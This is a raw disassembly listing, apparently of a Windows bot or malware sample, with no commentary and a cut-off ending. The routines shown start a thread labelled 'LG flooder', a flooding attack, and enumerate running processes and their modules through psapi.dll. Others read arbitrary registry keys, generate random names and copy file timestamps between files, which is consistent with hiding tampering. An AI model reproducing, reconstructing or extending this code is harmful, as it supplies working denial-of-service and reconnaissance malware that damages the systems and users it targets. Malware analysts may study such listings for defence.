--------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_405E45+B9j mov [ebp+var_8], 0EA60h loc_405F15: ; CODE XREF: sub_405E45+C7j mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+2B1h], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+2B1h], 64h jle short loc_405F3B mov eax, [ebp+var_4] mov eax, [eax+2B1h] mov [ebp+var_C], eax jmp short loc_405F42 ; --------------------------------------------------------------------------- loc_405F3B: ; CODE XREF: sub_405E45+E6j mov [ebp+var_C], 64h loc_405F42: ; CODE XREF: sub_405E45+F4j mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [eax+2B1h], ecx push offset aLgFlooder ; "LG flooder" push 0 push [ebp+var_4] push offset sub_4055E5 call sub_4095A4 add esp, 10h locret_405F65: ; CODE XREF: sub_405E45:loc_405E5Dj ; sub_405E45+31j leave retn sub_405E45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F67 proc near ; CODE XREF: sub_4017AA+6Ep ; sub_401D6E+77p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 0 jnz short loc_405F8E push 1A3h push 0 push [ebp+arg_0] call sub_416B6A add esp, 0Ch mov eax, [ebp+arg_0] mov byte ptr [eax+198h], 1 jmp short loc_405FA1 ; --------------------------------------------------------------------------- loc_405F8E: ; CODE XREF: sub_405F67+7j push 1A3h push [ebp+arg_4] push [ebp+arg_0] call sub_416B52 add esp, 0Ch loc_405FA1: ; CODE XREF: sub_405F67+25j pop ebp retn sub_405F67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405FA3 proc near ; CODE XREF: .packed:004168C1p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push offset dword_41E390 call sub_409C36 pop ecx push offset aPsapi_dll ; "psapi.dll" call dword_417054 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_405FC8 jmp short locret_40603F ; --------------------------------------------------------------------------- loc_405FC8: ; CODE XREF: sub_405FA3+21j push offset aEnumprocesses ; "EnumProcesses" push [ebp+var_4] call dword_417058 mov dword_41E38C, eax push offset aEnumprocessmod ; "EnumProcessModules" push [ebp+var_4] call dword_417058 mov dword_41E380, eax push offset aGetmodulefilen ; "GetModuleFileNameExA" push [ebp+var_4] call dword_417058 mov dword_41E384, eax push offset aGetmoduleinfor ; "GetModuleInformation" push [ebp+var_4] call dword_417058 mov dword_41E388, eax cmp dword_41E38C, 0 jz short locret_40603F cmp dword_41E380, 0 jz short locret_40603F cmp dword_41E384, 0 jz short locret_40603F cmp dword_41E388, 0 jz short locret_40603F mov byte_41E3AC, 1 locret_40603F: ; CODE XREF: sub_405FA3+23j ; sub_405FA3+78j ... leave retn sub_405FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406041 proc near ; CODE XREF: sub_401244:loc_40129Dp ; sub_40637C+29p var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_12B = byte ptr -12Bh var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 13Ch push esi push edi push offset dword_41E390 call sub_409C6C pop ecx movzx eax, byte_41E3AC test eax, eax jnz short loc_406074 push offset dword_41E390 call sub_409C7A pop ecx xor eax, eax jmp loc_40636A ; --------------------------------------------------------------------------- loc_406074: ; CODE XREF: sub_406041+1Fj and [ebp+var_C], 0 and [ebp+var_4], 0 and [ebp+var_1C], 0 push [ebp+var_1C] call sub_416B46 pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_406097 jmp loc_406368 ; --------------------------------------------------------------------------- loc_406097: ; CODE XREF: sub_406041+4Fj ; sub_406041:loc_4060E9j mov eax, [ebp+var_1C] add eax, 80h mov [ebp+var_1C], eax push [ebp+var_1C] push [ebp+var_14] call sub_416BF6 pop ecx pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4060BD jmp loc_406366 ; --------------------------------------------------------------------------- loc_4060BD: ; CODE XREF: sub_406041+75j lea eax, [ebp+var_4] push eax push [ebp+var_1C] push [ebp+var_14] call dword_41E38C test eax, eax jnz short loc_4060DF push [ebp+var_14] call sub_416B4C pop ecx jmp loc_406364 ; --------------------------------------------------------------------------- loc_4060DF: ; CODE XREF: sub_406041+8Ej mov eax, [ebp+var_4] cmp eax, [ebp+var_1C] jnb short loc_4060E9 jmp short loc_4060EB ; --------------------------------------------------------------------------- loc_4060E9: ; CODE XREF: sub_406041+A4j jmp short loc_406097 ; --------------------------------------------------------------------------- loc_4060EB: ; CODE XREF: sub_406041+A6j mov eax, [ebp+var_4] shr eax, 2 mov [ebp+var_8], eax mov eax, [ebp+var_8] imul eax, 114h add eax, 8 push eax call sub_416B46 pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_40611E push [ebp+var_14] call sub_416B4C pop ecx jmp loc_406362 ; --------------------------------------------------------------------------- loc_40611E: ; CODE XREF: sub_406041+CDj mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx mov eax, [ebp+var_C] add eax, 8 mov ecx, [ebp+var_C] mov [ecx+4], eax and [ebp+var_10], 0 jmp short loc_40613F ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_406041+156j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_40613F: ; CODE XREF: sub_406041+F5j mov eax, [ebp+var_10] cmp eax, [ebp+var_8] jnb short loc_406199 push 114h push 0 mov eax, [ebp+var_C] push dword ptr [eax+4] call sub_416B6A add esp, 0Ch mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_10] mov esi, [ebp+var_14] mov edx, [esi+edx*4] mov [ecx+eax], edx push offset aSystem ; "system" mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_406138 ; --------------------------------------------------------------------------- loc_406199: ; CODE XREF: sub_406041+104j push [ebp+var_14] call sub_416B4C pop ecx and [ebp+var_10], 0 jmp short loc_4061AF ; --------------------------------------------------------------------------- loc_4061A8: ; CODE XREF: sub_406041+1A8j ; sub_406041+1D8j ... mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_4061AF: ; CODE XREF: sub_406041+165j mov eax, [ebp+var_10] cmp eax, [ebp+var_8] jnb loc_406343 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] push dword ptr [ecx+eax] push 0 push 410h call dword_417094 mov [ebp+var_130], eax cmp [ebp+var_130], 0 jnz short loc_4061EB jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_4061EB: ; CODE XREF: sub_406041+1A6j and [ebp+var_20], 0 and [ebp+var_28], 0 lea eax, [ebp+var_20] push eax push 4 lea eax, [ebp+var_28] push eax push [ebp+var_130] call dword_41E380 test eax, eax jnz short loc_40621B push [ebp+var_130] call dword_4170A4 jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_40621B: ; CODE XREF: sub_406041+1CAj push 0Ch lea eax, [ebp+var_13C] push eax push [ebp+var_28] push [ebp+var_130] call dword_41E388 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_13C] mov [ecx+eax+4], edx mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_138] mov [ecx+eax+8], edx mov al, byte_41DF10 mov [ebp+var_12C], al push 40h pop ecx xor eax, eax lea edi, [ebp+var_12B] rep stosd stosw stosb push 104h lea eax, [ebp+var_12C] push eax push [ebp+var_13C] push [ebp+var_130] call dword_41E384 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz loc_406332 movsx eax, [ebp+var_12C] test eax, eax jz short loc_406332 push 104h lea eax, [ebp+var_12C] push eax mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_416B58 add esp, 0Ch lea eax, [ebp+var_12C] push eax call sub_416B40 pop ecx mov [ebp+var_18], eax jmp short loc_4062F7 ; --------------------------------------------------------------------------- loc_4062F0: ; CODE XREF: sub_406041:loc_406330j mov eax, [ebp+var_18] dec eax mov [ebp+var_18], eax loc_4062F7: ; CODE XREF: sub_406041+2ADj cmp [ebp+var_18], 0 jz short loc_406332 cmp [ebp+var_18], 1 ja short loc_406305 jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406305: ; CODE XREF: sub_406041+2C0j mov eax, [ebp+var_18] movsx eax, byte ptr [ebp+eax+var_130+3] cmp eax, 5Ch jnz short loc_406330 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_18] mov [ecx+eax+110h], edx jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406330: ; CODE XREF: sub_406041+2D2j jmp short loc_4062F0 ; --------------------------------------------------------------------------- loc_406332: ; CODE XREF: sub_406041+264j ; sub_406041+273j ... push [ebp+var_130] call dword_4170A4 jmp loc_4061A8 ; --------------------------------------------------------------------------- loc_406343: ; CODE XREF: sub_406041+174j push offset dword_41E390 call sub_409C7A pop ecx mov eax, [ebp+var_C] jmp short loc_40636A ; --------------------------------------------------------------------------- loc_406353: ; CODE XREF: sub_406041:loc_406362j ; sub_406041:loc_406364j ... push offset dword_41E390 call sub_409C7A pop ecx xor eax, eax jmp short loc_40636A ; --------------------------------------------------------------------------- loc_406362: ; CODE XREF: sub_406041+D8j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406364: ; CODE XREF: sub_406041+99j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406366: ; CODE XREF: sub_406041+77j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406368: ; CODE XREF: sub_406041+51j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_40636A: ; CODE XREF: sub_406041+2Ej ; sub_406041+310j ... pop edi pop esi leave retn sub_406041 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40636E proc near ; CODE XREF: sub_401244+4D2p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_416B4C pop ecx pop ebp retn sub_40636E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40637C proc near ; DATA XREF: sub_4064BF+3Bo var_1B0 = dword ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1A8] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx call sub_406041 mov [ebp+var_1AC], eax cmp [ebp+var_1AC], 0 jz loc_4064AD mov eax, [ebp+var_1AC] push dword ptr [eax] mov eax, [ebp+var_1A8] push dword ptr [eax] push offset dword_418B1C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h and [ebp+var_1B0], 0 jmp short loc_4063F7 ; --------------------------------------------------------------------------- loc_4063EA: ; CODE XREF: sub_40637C:loc_40649Cj mov eax, [ebp+var_1B0] inc eax mov [ebp+var_1B0], eax loc_4063F7: ; CODE XREF: sub_40637C+6Cj mov eax, [ebp+var_1AC] mov ecx, [ebp+var_1B0] cmp ecx, [eax] jge loc_4064A1 push 3E8h call dword_41709C mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax+8] mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax+4] mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax] push offset dword_418B04 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 18h mov eax, [ebp+var_1A8] cmp dword ptr [eax+4], 0 jz short loc_40649C jmp short loc_4064A1 ; --------------------------------------------------------------------------- loc_40649C: ; CODE XREF: sub_40637C+11Cj jmp loc_4063EA ; --------------------------------------------------------------------------- loc_4064A1: ; CODE XREF: sub_40637C+89j ; sub_40637C+11Ej push [ebp+var_1AC] call sub_416B4C pop ecx loc_4064AD: ; CODE XREF: sub_40637C+3Bj push [ebp+var_1A8] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40637C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4064BF proc near ; CODE XREF: sub_40A9CF+3FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4064D9 jmp short locret_406507 ; --------------------------------------------------------------------------- loc_4064D9: ; CODE XREF: sub_4064BF+16j push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B52 add esp, 0Ch push offset dword_418B44 push 0 push [ebp+var_4] push offset sub_40637C call sub_4095A4 add esp, 10h locret_406507: ; CODE XREF: sub_4064BF+18j leave retn sub_4064BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406509 proc near ; CODE XREF: sub_40A9CF+9C9p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h cmp [ebp+arg_4], 0 jz short loc_40651B cmp [ebp+arg_C], 0 jnz short loc_406520 loc_40651B: ; CODE XREF: sub_406509+Aj jmp locret_406641 ; --------------------------------------------------------------------------- loc_406520: ; CODE XREF: sub_406509+10j push [ebp+arg_4] call sub_416B9C pop ecx mov [ebp+var_8], eax push [ebp+arg_8] call sub_40A8AD pop ecx mov [ebp+var_C], eax push [ebp+arg_C] call sub_416B9C pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 180h jbe short loc_406554 mov [ebp+var_4], 180h loc_406554: ; CODE XREF: sub_406509+42j mov eax, [ebp+var_4] inc eax push eax call sub_416B46 pop ecx mov [ebp+var_1C], eax push [ebp+var_8] push 0 push 10h call dword_417094 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_406586 push [ebp+var_1C] call sub_416B4C pop ecx jmp locret_406641 ; --------------------------------------------------------------------------- loc_406586: ; CODE XREF: sub_406509+6Dj and [ebp+var_14], 0 lea eax, [ebp+var_14] push eax push [ebp+var_4] push [ebp+var_1C] push [ebp+var_C] push [ebp+var_18] call dword_417098 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz loc_40662F cmp [ebp+var_14], 0 jz short loc_40662F mov eax, [ebp+var_1C] add eax, [ebp+var_4] and byte ptr [eax], 0 and [ebp+var_20], 0 jmp short loc_4065C9 ; --------------------------------------------------------------------------- loc_4065C2: ; CODE XREF: sub_406509:loc_406620j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_4065C9: ; CODE XREF: sub_406509+B7j mov eax, [ebp+var_20] cmp eax, [ebp+var_14] jnb short loc_406622 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 1Fh jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 16h jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 10h jg short loc_406620 loc_406617: ; CODE XREF: sub_406509+D4j ; sub_406509+E2j ... mov eax, [ebp+var_1C] add eax, [ebp+var_20] mov byte ptr [eax], 2Eh loc_406620: ; CODE XREF: sub_406509+10Cj jmp short loc_4065C2 ; --------------------------------------------------------------------------- loc_406622: ; CODE XREF: sub_406509+C6j push [ebp+var_1C] push [ebp+arg_0] call sub_40D53F pop ecx pop ecx loc_40662F: ; CODE XREF: sub_406509+9Ej ; sub_406509+A8j push [ebp+var_1C] call sub_416B4C pop ecx push [ebp+var_18] call dword_4170A4 locret_406641: ; CODE XREF: sub_406509:loc_40651Bj ; sub_406509+78j leave retn sub_406509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406643 proc near ; CODE XREF: sub_40A9CF+3D7p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_406650 jmp short locret_40668D ; --------------------------------------------------------------------------- loc_406650: ; CODE XREF: sub_406643+9j push [ebp+arg_4] call sub_416B9C pop ecx mov [ebp+var_4], eax call dword_4170E8 cmp [ebp+var_4], eax jnz short loc_406669 jmp short locret_40668D ; --------------------------------------------------------------------------- loc_406669: ; CODE XREF: sub_406643+22j push [ebp+var_4] push 0 push 1 call dword_417094 mov [ebp+var_8], eax push 0 push [ebp+var_8] call dword_4170A0 push [ebp+var_8] call dword_4170A4 locret_40668D: ; CODE XREF: sub_406643+Bj ; sub_406643+24j leave retn sub_406643 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40668F proc near ; CODE XREF: sub_403DF3+149p ; sub_40A9CF+BDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_4066A0 ; --------------------------------------------------------------------------- loc_406699: ; CODE XREF: sub_40668F+2Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066A0: ; CODE XREF: sub_40668F+8j cmp [ebp+var_4], 8 jge short loc_4066BB push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_406699 ; --------------------------------------------------------------------------- loc_4066BB: ; CODE XREF: sub_40668F+15j mov eax, [ebp+arg_0] and byte ptr [eax+8], 0 and [ebp+var_4], 0 jmp short loc_4066CF ; --------------------------------------------------------------------------- loc_4066C8: ; CODE XREF: sub_40668F+59j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066CF: ; CODE XREF: sub_40668F+37j cmp [ebp+var_4], 6 jge short loc_4066EA push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4066C8 ; --------------------------------------------------------------------------- loc_4066EA: ; CODE XREF: sub_40668F+44j mov eax, [ebp+arg_4] and byte ptr [eax+6], 0 and [ebp+var_4], 0 jmp short loc_4066FE ; --------------------------------------------------------------------------- loc_4066F7: ; CODE XREF: sub_40668F+88j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066FE: ; CODE XREF: sub_40668F+66j cmp [ebp+var_4], 10h jge short loc_406719 push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_8] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4066F7 ; --------------------------------------------------------------------------- loc_406719: ; CODE XREF: sub_40668F+73j mov eax, [ebp+arg_8] and byte ptr [eax+10h], 0 leave retn sub_40668F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406722 proc near ; CODE XREF: sub_40A9CF+F40p var_424 = byte ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 424h cmp [ebp+arg_4], 0 jnz short loc_406736 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406736: ; CODE XREF: sub_406722+Dj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+4] cmp eax, 5Ch jz short loc_406747 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406747: ; CODE XREF: sub_406722+1Ej push 4 push offset aHkcr ; "HKCR" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_406769 mov [ebp+var_218], 80000000h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_406769: ; CODE XREF: sub_406722+39j push 4 push offset aHkcu ; "HKCU" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40678B mov [ebp+var_218], 80000001h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_40678B: ; CODE XREF: sub_406722+5Bj push 4 push offset aHklm ; "HKLM" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4067AD mov [ebp+var_218], 80000002h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_4067AD: ; CODE XREF: sub_406722+7Dj push 4 push offset aHkus ; "HKUS" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4067CF mov [ebp+var_218], 80000003h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_4067CF: ; CODE XREF: sub_406722+9Fj jmp locret_406A21 ; --------------------------------------------------------------------------- loc_4067D4: ; CODE XREF: sub_406722+45j ; sub_406722+67j ... mov eax, [ebp+arg_4] add eax, 5 mov [ebp+arg_4], eax push [ebp+arg_4] call sub_416B40 pop ecx mov [ebp+var_210], eax jmp short loc_4067FB ; --------------------------------------------------------------------------- loc_4067EE: ; CODE XREF: sub_406722:loc_406858j mov eax, [ebp+var_210] dec eax mov [ebp+var_210], eax loc_4067FB: ; CODE XREF: sub_406722+CAj cmp [ebp+var_210], 0 jnz short loc_406809 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406809: ; CODE XREF: sub_406722+E0j mov eax, [ebp+arg_4] add eax, [ebp+var_210] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_406858 mov eax, [ebp+var_210] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] push eax call sub_416B40 pop ecx cmp eax, 200h jb short loc_40683A jmp locret_406A21 ; --------------------------------------------------------------------------- loc_40683A: ; CODE XREF: sub_406722+111j mov eax, [ebp+var_210] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] push eax lea eax, [ebp+var_20C] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_40685A ; --------------------------------------------------------------------------- loc_406858: ; CODE XREF: sub_406722+F6j jmp short loc_4067EE ; --------------------------------------------------------------------------- loc_40685A: ; CODE XREF: sub_406722+134j cmp [ebp+var_210], 200h jb short loc_40686B jmp locret_406A21 ; --------------------------------------------------------------------------- loc_40686B: ; CODE XREF: sub_406722+142j push [ebp+var_210] push [ebp+arg_4] lea eax, [ebp+var_418] push eax call sub_416B52 add esp, 0Ch mov eax, [ebp+var_210] and [ebp+eax+var_418], 0 lea eax, [ebp+var_C] push eax push 1 push 0 lea eax, [ebp+var_418] push eax push [ebp+var_218] call dword_417008 test eax, eax jz short loc_4068B5 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_4068B5: ; CODE XREF: sub_406722+18Cj mov [ebp+var_8], 1000h push [ebp+var_8] call sub_416B46 pop ecx mov [ebp+var_214], eax lea eax, [ebp+var_8] push eax push [ebp+var_214] lea eax, [ebp+var_4] push eax push 0 lea eax, [ebp+var_20C] push eax push [ebp+var_C] call dword_41700C test eax, eax jnz loc_406A0C cmp [ebp+var_4], 1 jz short loc_4068FF cmp [ebp+var_4], 2 jnz short loc_406915 loc_4068FF: ; CODE XREF: sub_406722+1D5j push [ebp+var_214] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch loc_406915: ; CODE XREF: sub_406722+1DBj cmp [ebp+var_4], 4 jnz short loc_406933 mov eax, [ebp+var_214] push dword ptr [eax] push offset dword_418B5C push [ebp+arg_0] call sub_40D53F add esp, 0Ch loc_406933: ; CODE XREF: sub_406722+1F7j cmp [ebp+var_4], 3 jnz loc_406A0C push 180h call sub_416B46 pop ecx mov [ebp+var_420], eax mov eax, [ebp+var_420] and byte ptr [eax], 0 and [ebp+var_41C], 0 jmp short loc_40696D ; --------------------------------------------------------------------------- loc_406960: ; CODE XREF: sub_406722+2C3j mov eax, [ebp+var_41C] inc eax mov [ebp+var_41C], eax loc_40696D: ; CODE XREF: sub_406722+23Cj mov eax, [ebp+var_41C] cmp eax, [ebp+var_8] jnb short loc_4069EA mov eax, [ebp+var_214] add eax, [ebp+var_41C] movzx eax, byte ptr [eax] push eax push offset dword_418B54 lea eax, [ebp+var_424] push eax call sub_416B5E add esp, 0Ch push [ebp+var_420] call sub_416B40 pop ecx add eax, 3 cmp eax, 180h jb short loc_4069D1 push [ebp+var_420] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch mov eax, [ebp+var_420] and byte ptr [eax], 0 loc_4069D1: ; CODE XREF: sub_406722+28Ej lea eax, [ebp+var_424] push eax push [ebp+var_420] call sub_416B70 pop ecx pop ecx jmp loc_406960 ; --------------------------------------------------------------------------- loc_4069EA: ; CODE XREF: sub_406722+254j push [ebp+var_420] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch push [ebp+var_420] call sub_416B4C pop ecx loc_406A0C: ; CODE XREF: sub_406722+1CBj ; sub_406722+215j push [ebp+var_214] call sub_416B4C pop ecx push [ebp+var_C] call dword_417028 locret_406A21: ; CODE XREF: sub_406722+Fj ; sub_406722+20j ... leave retn sub_406722 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A23 proc near ; CODE XREF: sub_40D043:loc_40D18Dp ; sub_40D871:loc_40DB71p var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_20C] push eax call dword_417050 push offset dword_418DE4 lea eax, [ebp+var_20C] push eax call sub_416B70 pop ecx pop ecx push offset dword_41DD1C lea eax, [ebp+var_104] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_104] push eax call sub_4105FB pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_20C] push eax call sub_416B70 pop ecx pop ecx lea eax, [ebp+var_20C] push eax call dword_4170AC push offset dword_4182AC lea eax, [ebp+var_20C] push eax call sub_416B88 pop ecx pop ecx mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short locret_406AE5 push [ebp+var_108] push 1 push 2 push offset dword_418DE0 call sub_416B7C add esp, 10h push [ebp+var_108] call sub_416B82 pop ecx lea eax, [ebp+var_20C] push eax call sub_406B81 pop ecx locret_406AE5: ; CODE XREF: sub_406A23+90j leave retn sub_406A23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AE7 proc near ; CODE XREF: sub_40D043+13Dp ; sub_40D871+2F3p var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_20C] push eax call dword_417050 push offset dword_418DE4 lea eax, [ebp+var_20C] push eax call sub_416B70 pop ecx pop ecx push offset dword_41DD1C lea eax, [ebp+var_104] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_104] push eax call sub_4105FB pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_20C] push eax call sub_416B70 pop ecx pop ecx push offset aRb ; "rb" lea eax, [ebp+var_20C] push eax call sub_416B88 pop ecx pop ecx mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short loc_406B7D push [ebp+var_108] call sub_416B82 pop ecx push 1 pop eax jmp short locret_406B7F ; --------------------------------------------------------------------------- loc_406B7D: ; CODE XREF: sub_406AE7+83j xor eax, eax locret_406B7F: ; CODE XREF: sub_406AE7+94j leave retn sub_406AE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B81 proc near ; CODE XREF: sub_406A23+BCp ; sub_406E8E+246p var_120 = dword ptr -120h var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 120h push 104h lea eax, [ebp+var_11C] push eax call dword_417040 push offset dword_418DE8 lea eax, [ebp+var_11C] push eax call sub_416B70 pop ecx pop ecx push 0 push 80h push 3 push 0 push 1 push 80000000h lea eax, [ebp+var_11C] push eax call dword_417044 mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_406C4F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_120] call dword_417048 push [ebp+var_120] call dword_4170A4 push 0 push 80h push 3 push 0 push 2 push 40000000h push 